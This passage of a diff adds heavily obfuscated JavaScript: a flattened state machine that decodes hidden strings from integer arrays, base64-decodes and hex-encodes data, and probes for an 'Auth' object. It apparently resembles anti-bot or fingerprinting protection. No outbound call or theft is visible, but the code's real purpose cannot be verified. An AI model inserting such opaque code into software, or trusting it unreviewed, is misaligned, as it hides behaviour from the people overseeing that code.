_$nl = _$sl; + if (_$nl) { + _$nh = _$ry; + _$fh = 2047; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$Ru; + _$vl = _$LC; + _$sl = _$ry; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 31; + _$ll = _$fl & _$ol; + _$hl = 192; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$Ru; + _$vl = _$LC; + _$sl = _$ry; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$Ru; + _$vl = _$LC; + _$sl = _$ry; + _$nl = 255; + _$fl = _$sl & _$nl; + _$cl[_$vl](_$fl) + } + } + } + } + _$cl = _$Ru; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$sg = _$sl; + _$cl = _$sg; + _$vl = 2; + _$sl = _$cl / _$vl; + _$sg = _$sl; + _$cl = []; + _$uu = _$cl; + _$cl = 0; + _$su = _$cl; + for (_$nm = 0; _$nm < _$sg; _$nm++) { + _$cl = _$Ru; + _$vl = _$su; + _$sl = _$cl[_$vl]; + _$Sm = _$sl; + _$cl = _$Ru; + _$vl = _$su; + _$sl = 1; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$zu = _$fl; + _$cl = _$su; + _$vl = 2; + _$sl = _$cl + _$vl; + _$su = _$sl; + _$cl = _$Sm; + _$vl = 46; + _$sl = _$cl - _$vl; + _$Sm = _$sl; + _$cl = _$zu; + _$vl = 46; + _$sl = _$cl - _$vl; + _$zu = _$sl; + _$cl = _$zu; + _$vl = 19; + _$sl = _$cl * _$vl; + _$nl = _$Sm; + _$fl = _$sl + _$nl; + _$gu = _$fl; + _$cl = _$gu; + _$vl = 11; + _$sl = _$cl ^ _$vl; + _$fu = _$sl; + _$cl = _$uu; + _$vl = _$nm; + _$sl = _$fu; + _$cl[_$vl] = _$sl + } + _$cl = _$BC; + _$Tm = _$cl; + for (_$qh = 0; _$qh < _$uu.length; _$qh++) { + _$cl = _$uu; + _$vl = _$qh; + _$sl = _$cl[_$vl]; + _$nl = _$rb + _$cb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$jm = _$ol; + _$cl = _$jm; + _$vl = _$LS; + _$sl = /^1+?(?=0)/; + _$nl = _$cl[_$vl](_$sl); + _$hj = _$nl; + _$cl = _$hj; + _$vl = _$cl; + if (_$vl) { + _$nh = _$jm; + _$fh = _$PC; + _$uh = _$nh[_$fh]; + _$ph = 8; + _$vl = _$uh === _$ph + } + if (_$vl) { + _$cl = _$hj; + _$vl = 0; + _$sl = _$cl[_$vl]; + _$nl = _$PC; + _$fl = _$sl[_$nl]; + _$gj = _$fl; + _$cl = _$uu; + _$vl = _$qh; + _$sl = _$cl[_$vl]; + _$nl = _$sb + _$vb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$_S; + _$hl = 7; + _$gl = _$gj; + _$Zl = _$hl - _$gl; + _$zl = _$ol[_$ll](_$Zl); + _$Vh = _$zl; + for (_$vp = 0; _$vp < _$gj; _$vp++) { + _$cl = _$uu; + _$vl = _$vp; + _$sl = _$qh; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$ol = _$sb + _$vb; + _$ll = 2; + _$hl = _$fl[_$ol](_$ll); + _$gl = _$_S; + _$Zl = 2; + _$zl = _$hl[_$gl](_$Zl); + _$Vh += _$zl + } + _$cl = _$Vh; + _$vl = 2; + _$sl = parseInt(_$cl, _$vl); + _$nl = _$bW(_$sl); + _$Tm += _$nl; + _$cl = _$gj; + _$vl = 1; + _$sl = _$cl - _$vl; + _$qh += _$sl + } else { + _$cl = _$uu; + _$vl = _$qh; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$Tm += _$nl + } + } + _$cl = _$d; + _$Pu = _$cl; + _$vl = 1; + _$Yu = _$vl; + _$cl = _$Yu; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Yu = _$sl; + _$cl = 1; + _$Pu = _$cl; + _$cl = _$BC; + _$Uu = _$cl; + _$cl = _$Yu; + _$Pu = _$cl; + _$cl = 7296; + _$vl = 6464; + _$sl = 7168; + _$nl = 6912; + _$fl = 6208; + _$ol = 6336; + _$ll = 6464; + _$hl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll]; + _$Yu = _$hl; + for (_$pu = 0; _$pu < _$Yu.length; _$pu++) { + _$cl = _$Uu; + _$vl = _$Yu; + _$sl = _$pu; + _$nl = _$vl[_$sl]; + _$fl = 6; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Uu = _$hl + } + _$cl = _$Yu; + _$vl = _$LC; + _$sl = _$Pu; + _$nl = _$cl[_$vl](_$sl); + _$Yu = _$nl; + _$cl = _$tf + _$nf + _$if + _$ff; + _$Qd = _$cl; + _$vl = 1; + _$pT = _$vl; + _$cl = _$Qd; + _$pT = _$cl; + _$cl = 1; + _$Qd = _$cl; + _$cl = _$Qd; + _$vl = 5; + _$sl = _$cl * _$vl; + _$Qd = _$sl; + _$cl = []; + _$wT = _$cl; + _$cl = _$pT; + _$Qd = _$cl; + _$cl = 13; + _$vl = 9; + _$sl = 14; + _$nl = 0; + _$fl = 15; + _$ol = 16; + _$ll = 2; + _$hl = 8; + _$gl = 10; + _$Zl = 17; + _$zl = 7; + _$El = 4; + _$Rl = 18; + _$_l = 19; + _$Ll = 3; + _$Vl = 5; + _$ql = 6; + _$tu = 12; + _$iu = 20; + _$ou = 21; + _$ku = 1; + _$bu = 11; + _$lu = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl, _$zl, _$El, _$Rl, _$_l, _$Ll, _$Vl, _$ql, _$tu, _$iu, _$ou, _$ku, _$bu]; + _$pT = _$lu; + for (_$Qy = 0; _$Qy < _$Qd.length; _$Qy++) { + _$cl = _$wT; + _$vl = _$LC; + _$sl = _$Qd; + _$nl = _$_C; + _$fl = _$pT; + _$ol = _$Qy; + _$ll = _$fl[_$ol]; + _$hl = _$sl[_$nl](_$ll); + _$cl[_$vl](_$hl) + } + _$cl = _$pT; + _$vl = _$LC; + _$sl = _$Qd; + _$nl = _$cl[_$vl](_$sl); + _$pT = _$nl; + _$cl = _$ug; + _$vl = _$Tm; + _$sl = _$cl[_$vl](); + _$nl = _$Uu; + _$fl = _$wT; + _$ol = _$RC; + _$ll = _$BC; + _$hl = _$fl[_$ol](_$ll); + _$gl = _$BC; + _$Zl = _$sl[_$nl](_$hl, _$gl); + _$wj = _$Zl; + _$zl = _$BC; + _$Jg = _$zl; + _$El = 0; + _$Cj = _$El; + _$Rl = _$w; + _$ud = _$Rl; + _$_l = 1; + _$pd = _$_l; + _$cl = _$pd; + _$vl = 1; + _$sl = _$cl + _$vl; + _$pd = _$sl; + _$cl = 1; + _$ud = _$cl; + _$cl = _$BC; + _$yd = _$cl; + _$cl = _$pd; + _$ud = _$cl; + _$cl = 233472; + _$vl = 206848; + _$sl = 229376; + _$nl = 221184; + _$fl = 198656; + _$ol = 202752; + _$ll = 206848; + _$hl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll]; + _$pd = _$hl; + for (_$wd = 0; _$wd < _$pd.length; _$wd++) { + _$cl = _$yd; + _$vl = _$pd; + _$sl = _$wd; + _$nl = _$vl[_$sl]; + _$fl = 11; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$yd = _$hl + } + _$cl = _$pd; + _$vl = _$LC; + _$sl = _$ud; + _$nl = _$cl[_$vl](_$sl); + _$pd = _$nl; + _$cl = _$wj; + _$vl = _$yd; + _$sl = /[^A-Za-z0-9\+\/\=]/g; + _$nl = _$BC; + _$fl = _$cl[_$vl](_$sl, _$nl); + _$wj = _$fl; + while (_$Cj < _$wj.length) { + _$cl = _$y; + _$dd = _$cl; + _$vl = 1; + _$Md = _$vl; + _$cl = _$Md; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Md = _$sl; + _$cl = 1; + _$dd = _$cl; + _$cl = _$BC; + _$Id = _$cl; + _$cl = _$Md; + _$dd = _$cl; + _$cl = 13440; + _$vl = 14080; + _$sl = 12800; + _$nl = 12928; + _$fl = 15360; + _$ol = 10112; + _$ll = 13056; + _$hl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll]; + _$Md = _$hl; + for (_$JS = 0; _$JS < _$Md.length; _$JS++) { + _$cl = _$Id; + _$vl = _$Md; + _$sl = _$JS; + _$nl = _$vl[_$sl]; + _$fl = 7; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Id = _$hl + } + _$cl = _$Md; + _$vl = _$LC; + _$sl = _$dd; + _$nl = _$cl[_$vl](_$sl); + _$Md = _$nl; + _$cl = _$BY; + _$vl = _$Id; + _$sl = _$wj; + _$nl = _$_C; + _$fl = _$Cj++; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$cl[_$vl](_$ol); + _$Ij = _$ll; + _$cl = _$p; + _$jh = _$cl; + _$vl = 1; + _$Ch = _$vl; + _$cl = _$Ch; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Ch = _$sl; + _$cl = 1; + _$jh = _$cl; + _$cl = _$BC; + _$Dh = _$cl; + _$cl = _$Ch; + _$jh = _$cl; + _$cl = 3440640; + _$vl = 3604480; + _$sl = 3276800; + _$nl = 3309568; + _$fl = 3932160; + _$ol = 2588672; + _$ll = 3342336; + _$hl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll]; + _$Ch = _$hl; + for (_$Kh = 0; _$Kh < _$Ch.length; _$Kh++) { + _$cl = _$Dh; + _$vl = _$Ch; + _$sl = _$Kh; + _$nl = _$vl[_$sl]; + _$fl = 15; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Dh = _$hl + } + _$cl = _$Ch; + _$vl = _$LC; + _$sl = _$jh; + _$nl = _$cl[_$vl](_$sl); + _$Ch = _$nl; + _$cl = _$BY; + _$vl = _$Dh; + _$sl = _$wj; + _$nl = _$_C; + _$fl = _$Cj++; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$cl[_$vl](_$ol); + _$Aj = _$ll; + _$cl = _$u; + _$Qh = _$cl; + _$vl = 1; + _$_u = _$vl; + _$cl = _$_u; + _$vl = 1; + _$sl = _$cl + _$vl; + _$_u = _$sl; + _$cl = 1; + _$Qh = _$cl; + _$cl = _$BC; + _$Dj = _$cl; + _$cl = _$_u; + _$Qh = _$cl; + _$cl = 215040; + _$vl = 225280; + _$sl = 204800; + _$nl = 206848; + _$fl = 245760; + _$ol = 161792; + _$ll = 208896; + _$hl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll]; + _$_u = _$hl; + for (_$Yj = 0; _$Yj < _$_u.length; _$Yj++) { + _$cl = _$Dj; + _$vl = _$_u; + _$sl = _$Yj; + _$nl = _$vl[_$sl]; + _$fl = 11; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Dj = _$hl + } + _$cl = _$_u; + _$vl = _$LC; + _$sl = _$Qh; + _$nl = _$cl[_$vl](_$sl); + _$_u = _$nl; + _$cl = _$BY; + _$vl = _$Dj; + _$sl = _$wj; + _$nl = _$_C; + _$fl = _$Cj++; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$cl[_$vl](_$ol); + _$Sj = _$ll; + _$cl = _$vf + _$sf; + _$gw = _$cl; + _$vl = _$gw; + _$sl = _$OC; + _$nl = 0; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$gw; + _$ll = _$PC; + _$hl = _$ol[_$ll]; + _$gl = _$fl - _$hl; + _$Zl = _$bW(_$gl); + _$Ag = _$Zl; + for (_$Sg = 1; _$Sg < _$gw.length; _$Sg++) { + _$cl = _$gw; + _$vl = _$OC; + _$sl = _$Sg; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$Ag; + _$ol = _$OC; + _$ll = _$Sg; + _$hl = 1; + _$gl = _$ll - _$hl; + _$Zl = _$fl[_$ol](_$gl); + _$zl = _$nl - _$Zl; + _$El = _$bW(_$zl); + _$Ag += _$El + } + _$cl = _$BY; + _$vl = _$Ag; + _$sl = _$wj; + _$nl = _$_C; + _$fl = _$Cj++; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$cl[_$vl](_$ol); + _$Tj = _$ll; + _$cl = _$Ij; + _$vl = 2; + _$sl = _$cl << _$vl; + _$nl = _$Aj; + _$fl = 4; + _$ol = _$nl >> _$fl; + _$ll = _$sl | _$ol; + _$au = _$ll; + _$cl = _$Aj; + _$vl = 15; + _$sl = _$cl & _$vl; + _$nl = 4; + _$fl = _$sl << _$nl; + _$ol = _$Sj; + _$ll = 2; + _$hl = _$ol >> _$ll; + _$gl = _$fl | _$hl; + _$eu = _$gl; + _$cl = _$Sj; + _$vl = 3; + _$sl = _$cl & _$vl; + _$nl = 6; + _$fl = _$sl << _$nl; + _$ol = _$Tj; + _$ll = _$fl | _$ol; + _$ru = _$ll; + _$cl = _$Jg; + _$vl = _$au; + _$sl = _$bW(_$vl); + _$nl = _$cl + _$sl; + _$Jg = _$nl; + _$cl = _$Sj; + _$vl = 64; + _$sl = _$cl != _$vl; + if (_$sl) { + _$cl = _$Jg; + _$vl = _$eu; + _$sl = _$bW(_$vl); + _$nl = _$cl + _$sl; + _$Jg = _$nl + } + _$cl = _$Tj; + _$vl = 64; + _$sl = _$cl != _$vl; + if (_$sl) { + _$cl = _$Jg; + _$vl = _$ru; + _$sl = _$bW(_$vl); + _$nl = _$cl + _$sl; + _$Jg = _$nl + } + } + _$cl = _$Jg; + _$md = _$cl; + _$vl = _$g; + _$Td = _$vl; + _$sl = 1; + _$Gu = _$sl; + _$cl = _$Gu; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Gu = _$sl; + _$cl = 1; + _$Td = _$cl; + _$cl = _$BC; + _$Nu = _$cl; + _$cl = _$Gu; + _$Td = _$cl; + _$cl = 117760; + _$vl = 110592; + _$sl = 107520; + _$nl = 101376; + _$fl = 103424; + _$ol = [_$cl, _$vl, _$sl, _$nl, _$fl]; + _$Gu = _$ol; + for (_$Zu = 0; _$Zu < _$Gu.length; _$Zu++) { + _$cl = _$Nu; + _$vl = _$Gu; + _$sl = _$Zu; + _$nl = _$vl[_$sl]; + _$fl = 10; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Nu = _$hl + } + _$cl = _$Gu; + _$vl = _$LC; + _$sl = _$Td; + _$nl = _$cl[_$vl](_$sl); + _$Gu = _$nl; + _$cl = _$md; + _$vl = _$Nu; + _$sl = 16; + _$nl = -_$sl; + _$fl = 12; + _$ol = -_$fl; + _$ll = _$cl[_$vl](_$nl, _$ol); + _$yg = _$ll; + _$hl = _$BC; + _$Zj = _$hl; + _$cl = _$BC; + _$yg += _$cl; + _$cl = false; + _$Pg = _$cl; + try { + _$cl = Auth; + _$Ej = _$cl + } catch (_$fs) { + { + _$cl = 2342; + _$Pg = _$cl + } + } + for (_$Oj = 0, + _$Gj = _$yg.length; _$Oj < _$Gj; _$Oj++) { + _$cl = _$h; + _$HI = _$cl; + _$vl = 1; + _$Rj = _$vl; + _$cl = _$Rj; + _$vl = 1; + _$sl = _$cl + _$vl; + _$Rj = _$sl; + _$cl = 1; + _$HI = _$cl; + _$cl = _$BC; + _$_j = _$cl; + _$cl = _$Rj; + _$HI = _$cl; + _$cl = 475136; + _$vl = 454656; + _$sl = 339968; + _$nl = 475136; + _$fl = 466944; + _$ol = 430080; + _$ll = 450560; + _$hl = 421888; + _$gl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl]; + _$Rj = _$gl; + for (_$Lj = 0; _$Lj < _$Rj.length; _$Lj++) { + _$cl = _$_j; + _$vl = _$Rj; + _$sl = _$Lj; + _$nl = _$vl[_$sl]; + _$fl = 12; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$_j = _$hl + } + _$cl = _$Rj; + _$vl = _$LC; + _$sl = _$HI; + _$nl = _$cl[_$vl](_$sl); + _$Rj = _$nl; + _$cl = _$yg; + _$vl = _$OC; + _$sl = _$Oj; + _$nl = _$cl[_$vl](_$sl); + _$fl = _$_j; + _$ol = 16; + _$ll = _$nl[_$fl](_$ol); + _$Og = _$ll; + _$cl = _$Og; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$nl = 2; + _$fl = _$sl < _$nl; + if (_$fl) { + _$ol = (_$nh = _$QA, + _$fh = _$Og, + _$nh + _$fh) + } else { + _$ol = _$Og + } + _$Zj += _$ol + } + _$cl = _$Zj; + _$Vj = _$cl; + _$cl = _$Vj; + return _$cl + } + _$cs -= 51; + continue; + case 423: + _$lg = _$lg / 2; + _$cs -= 108; + continue; + case 424: + if (_$Zg + _$Eg < _$zg) { + _$cl = _$Zg; + _$vl = _$ng; + _$sl = _$Eg; + _$nl = _$vl + _$sl; + _$fl = _$cl >> _$nl; + _$ol = _$Zg; + _$ll = _$zg; + _$hl = _$ol - _$ll; + _$gl = _$fl >> _$hl; + _$Zl = _$Eg; + _$zl = _$gl >> _$Zl; + _$Eg = _$zl + } + _$cs += 8; + continue; + case 425: + _$hA = _$hA + 1; + _$cs -= 98; + continue; + case 426: + _$vj = _$BC; + _$cs += 228; + continue; + case 427: + _$Nu = 1; + _$cs -= 382; + continue; + case 428: + _$ig = _$Zg[0]; + _$cs += 270; + continue; + case 429: + for (_$hg = 0; _$hg < _$jA; _$hg++) { + _$cl = _$rA; + _$vl = _$hg; + _$sl = Array; + _$nl = _$CA; + _$fl = new _$sl(_$nl); + _$cl[_$vl] = _$fl + } + _$cs -= 240; + continue; + case 430: + for (_$Py = 0; _$Py < _$yy.length; _$Py++) { + _$cl = _$yy; + _$vl = _$Py; + _$sl = _$cl[_$vl]; + _$nl = _$rb + _$cb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$py = _$ol; + _$cl = _$py; + _$vl = _$LS; + _$sl = /^1+?(?=0)/; + _$nl = _$cl[_$vl](_$sl); + _$Wy = _$nl; + _$cl = _$Wy; + _$vl = _$cl; + if (_$vl) { + _$nh = _$py; + _$fh = _$PC; + _$uh = _$nh[_$fh]; + _$ph = 8; + _$vl = _$uh === _$ph + } + if (_$vl) { + _$cl = _$Wy; + _$vl = 0; + _$sl = _$cl[_$vl]; + _$nl = _$PC; + _$fl = _$sl[_$nl]; + _$Uy = _$fl; + _$cl = _$yy; + _$vl = _$Py; + _$sl = _$cl[_$vl]; + _$nl = _$sb + _$vb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$_S; + _$hl = 7; + _$gl = _$Uy; + _$Zl = _$hl - _$gl; + _$zl = _$ol[_$ll](_$Zl); + _$Oy = _$zl; + for (_$Gy = 0; _$Gy < _$Uy; _$Gy++) { + _$cl = _$yy; + _$vl = _$Gy; + _$sl = _$Py; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$ol = _$ab + _$eb; + _$ll = 2; + _$hl = _$fl[_$ol](_$ll); + _$gl = _$_S; + _$Zl = 2; + _$zl = _$hl[_$gl](_$Zl); + _$Oy += _$zl + } + _$cl = _$Oy; + _$vl = 2; + _$sl = parseInt(_$cl, _$vl); + _$nl = _$bW(_$sl); + _$wg += _$nl; + _$cl = _$Uy; + _$vl = 1; + _$sl = _$cl - _$vl; + _$Py += _$sl + } else { + _$cl = _$yy; + _$vl = _$Py; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$wg += _$nl + } + } + _$cs -= 108; + continue; + case 431: + _$el = 1597463174 - (_$el >> 1); + _$cs -= 430; + continue; + case 432: + if (_$ng < 0) { + _$cl = _$zg; + _$vl = _$Zg; + _$sl = _$Eg; + _$nl = _$vl / _$sl; + _$fl = _$cl >> _$nl; + _$ol = _$Zg; + _$ll = _$fl >> _$ol; + _$ng = _$ll + } + _$cs -= 136; + continue; + case 433: + _$SI = 5; + _$mI = 3; + _$TI = [2, 2]; + _$jI = [2, 3]; + _$CI = 1e9 + 7; + _$DI = _$TI.length; + _$cs -= 262; + continue; + case 434: + _$zg = _$zg * _$Zg[7]; + _$cs += 86; + continue; + case 435: + for (_$qj = 0; _$qj < _$Fg.length; _$qj++) { + _$cl = _$lK; + _$vl = _$Fg; + _$sl = _$qj; + _$nl = _$vl[_$sl]; + _$fl = 7; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$lK = _$hl + } + _$cs -= 121; + continue; + case 436: + _$Ng = _$Ng.p(_$Gg); + _$cs += 17; + continue; + case 437: + _$rI = []; + _$cs -= 262; + continue; + case 438: + _$yA = 1; + _$cs -= 400; + continue; + case 439: + _$MY = _$mW; + _$cs -= 175; + continue; + case 440: + _$Zu = [920, 808, 864, 816]; + _$cs += 332; + continue; + case 441: + _$Hj = []; + _$cs -= 436; + continue; + case 442: + _$Kd = _$Kd + 1; + _$cs += 30; + continue; + case 443: + _$xj = _$fD[_$Vg][_$vD] + _$BC; + _$Fj = _$BC; + _$aC = _$En + _$Gn + _$Ln + _$Vn + _$Wn + _$_n + _$Fn + _$Dn + _$Rn + _$qn + _$Jn + _$ef + _$xn + _$Yn + _$Hn + _$af + _$Zn + _$Cn + _$Nn + _$On + _$$n + _$Qn + _$mn + _$Pn + _$An + _$zn + _$Xn + _$Un + _$Bn + _$Tn + _$jn + _$Sn + _$cf + _$Kn + _$rf; + _$eC = _$bW(_$aC.d(0) - _$aC.length); + _$cs -= 423; + continue; + case 444: + _$Ng = [811008, 794624, 901120, 966656, 794624, 942080]; + _$cs += 195; + continue; + case 445: + _$Oy = _$Py; + _$cs -= 37; + continue; + case 446: + _$cC = _$pS; + _$sC = 1; + _$cs -= 410; + continue; + case 447: + _$CA = _$Gg; + _$yA = _$Co; + _$jd = 1; + _$cs += 170; + continue; + case 448: + _$Eu = _$Ru; + _$cs -= 58; + continue; + case 449: + _$zg = []; + _$cs += 171; + continue; + case 450: + for (_$nC = 0; _$nC < _$FT.length; _$nC++) { + _$cl = _$HQ; + _$vl = _$FT; + _$sl = _$nC; + _$nl = _$vl[_$sl]; + _$fl = 14; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$HQ = _$hl + } + _$cs += 79; + continue; + case 451: + _$vU(); + _$cs += 237; + continue; + case 452: + for (_$dm = 0, + _$Im = _$FW.length; _$dm < _$Im; ++_$dm) { + _$cl = _$LY; + _$vl = _$LC; + _$sl = _$FW; + _$nl = _$dm; + _$fl = _$sl[_$nl]; + _$cl[_$vl](_$fl) + } + _$cs -= 61; + continue; + case 453: + if (_$zg.c(5) > _$Zg.c(4)) { + _$cl = _$zg; + _$vl = _$EC; + _$sl = _$cl + _$vl; + _$zg = _$sl + } + _$cs -= 105; + continue; + case 454: + _$ng = _$BC; + _$cs -= 126; + continue; + case 455: + _$CA = _$BC; + _$cs += 156; + continue; + case 456: + for (_$tC = 0; _$tC < _$UD.length; _$tC++) { + _$cl = _$xy; + _$vl = _$UD; + _$sl = _$tC; + _$nl = _$vl[_$sl]; + _$fl = 8; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$xy = _$hl + } + _$cs += 234; + continue; + case 457: + _$zg += _$zC; + _$cs += 264; + continue; + case 458: + _$vA = [112640, 113664, 112640, 103424]; + _$cs -= 113; + continue; + case 459: + if (_$Zj) { + _$cl = _$YY; + _$pW = _$cl + } + _$cs += 319; + continue; + case 460: + _$hY = _$fs - 28393 >>> 6; + _$cs -= 165; + continue; + case 461: + _$VY.p(_$Zg); + _$cs -= 236; + continue; + case 462: + _$qh = _$qh + 1; + _$cs -= 51; + continue; + case 463: + _$Ng = _$Ng + 1; + _$cs += 143; + continue; + case 464: + return _$ig; + case 465: + _$yI = [24832, 29440, 25600, 25856, 26880, 25600, 28416, 31232, 31232, 25344, 27648, 29696, 30208, 26112, 29184, 29440, 24832, 25600, 24832, 29440, 27392, 27904, 27648, 25344, 24832, 29440, 27648, 25344, 27904, 29440, 27648, 24832, 25600, 29440, 24832, 25600, 27904, 24832, 29440, 27648, 25600, 27392, 24832, 29440, 27904, 25600, 27392, 24832, 29440, 27904, 25600, 24832, 29440, 25344, 27904, 24832, 29440, 27648, 27392, 24832, 27904]; + _$cs -= 164; + continue; + case 466: + for (_$og = 0; _$og < _$Ng.length; _$og++) { + _$cl = _$Eg; + _$vl = _$Ng; + _$sl = _$og; + _$nl = _$vl[_$sl]; + _$fl = 3; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Eg = _$hl + } + _$cs += 66; + continue; + case 467: + _$Og = 1; + _$cs += 74; + case 468: + _$Ej = _$BC; + _$cs -= 355; + continue; + case 469: + _$Ng = [760, 288, 392]; + _$cs -= 419; + continue; + case 470: + if (_$oA + _$bA > 0) { + _$cl = _$bA; + _$vl = 2; + _$sl = _$cl << _$vl; + _$bA = _$sl; + _$cl = _$bA; + _$vl = _$_g; + _$sl = _$_g; + _$nl = _$vl + _$sl; + _$fl = _$cl >> _$nl; + _$ol = _$pg; + _$ll = _$fl >> _$ol; + _$oA = _$ll; + _$cl = _$oA; + _$vl = _$_g; + _$sl = _$cl / _$vl; + _$_g = _$sl + } + _$cs += 140; + continue; + case 471: + if (_$oA + _$_g > 0) { + _$cl = _$bA; + _$vl = 4; + _$sl = _$oA; + _$nl = _$vl + _$sl; + _$fl = _$cl >> _$nl; + _$ol = 3; + _$ll = _$oA; + _$hl = _$ol * _$ll; + _$gl = _$bA; + _$Zl = _$hl + _$gl; + _$zl = _$fl >> _$Zl; + _$El = 2; + _$Rl = _$zl << _$El; + _$_g = _$Rl + } + _$cs -= 438; + continue; + case 472: + _$Dd = 1; + _$cs += 141; + continue; + case 473: + _$gD = _$gD + 1; + _$cs += 72; + continue; + case 474: + for (_$zu = 0, + _$Eu = _$pl.length; _$zu < _$Eu; ++_$zu) { + _$cl = _$gn + _$bn + _$In + _$pn + _$hn + _$yn + _$Ao + _$Mn + _$dn + _$wn + _$ln + _$un; + _$pT = _$cl; + _$vl = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = []; + _$t = _$c; + for (_$o = 0; _$o < 10; _$o++) { + _$c = _$t; + _$v = _$LC; + _$s = _$o; + _$n = 6; + _$f = _$s + _$n; + _$c[_$v](_$f) + } + _$c = _$t; + _$v = 4; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 6; + _$k = _$n[_$f]; + _$b = _$s + _$k; + _$i = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 7; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 6; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 8; + _$s = _$i; + _$n = _$t; + _$f = 4; + _$k = _$n[_$f]; + _$b = _$s / _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + if (_$f) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f + } + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 0; + _$s = _$c[_$v]; + _$g = _$s; + _$c = _$t; + _$v = 8; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + 